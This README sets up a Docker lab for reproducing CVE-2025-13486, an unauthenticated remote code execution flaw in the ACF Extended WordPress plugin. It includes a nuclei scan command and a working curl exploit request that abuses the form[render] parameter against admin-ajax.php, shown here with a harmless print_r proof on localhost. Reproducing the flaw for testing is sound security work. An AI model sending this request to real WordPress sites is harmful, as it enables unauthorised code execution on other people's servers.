CVE-2025-13486 Vulnerable Test Environment

One-shot Docker setup for testing ACF Extended RCE vulnerability.

Quick Start

# 1. Download plugins (run once)
./download-plugins.sh

# 2. Start environment
docker-compose up -d --build

# 3. Wait ~30 seconds for setup, then test
nuclei -t CVE-2025-13486.yaml -u http://localhost:8888

Manual Plugin Setup

If the download script fails, manually place these files in plugins/:

1. ACF Pro (required dependency)

   • Download from: https://www.advancedcustomfields.com/pro/
   • Save as: plugins/acf-pro.zip

2. ACF Extended 0.9.0.5 (vulnerable version)

   • Download from: https://downloads.wordpress.org/plugin/acf-extended.0.9.0.5.zip
   • Save as: plugins/acf-extended.zip

Testing the Exploit

# Extract nonce from homepage
curl -s http://localhost:8888/ | grep -oP '"nonce":"([a-f0-9]+)"'

# Test RCE with print_r
curl -X POST http://localhost:8888/wp-admin/admin-ajax.php \
  -d "action=acfe/form/render_form_ajax&nonce=<NONCE>&form[render]=print_r&form[test]=PWNED"

Cleanup

docker-compose down -v

Vulnerability Details

• CVE: CVE-2025-13486
• Affected: ACF Extended 0.9.0.5 - 0.9.1.1
• Type: Unauthenticated RCE via call_user_func_array()
• CVSS: 9.8 (Critical)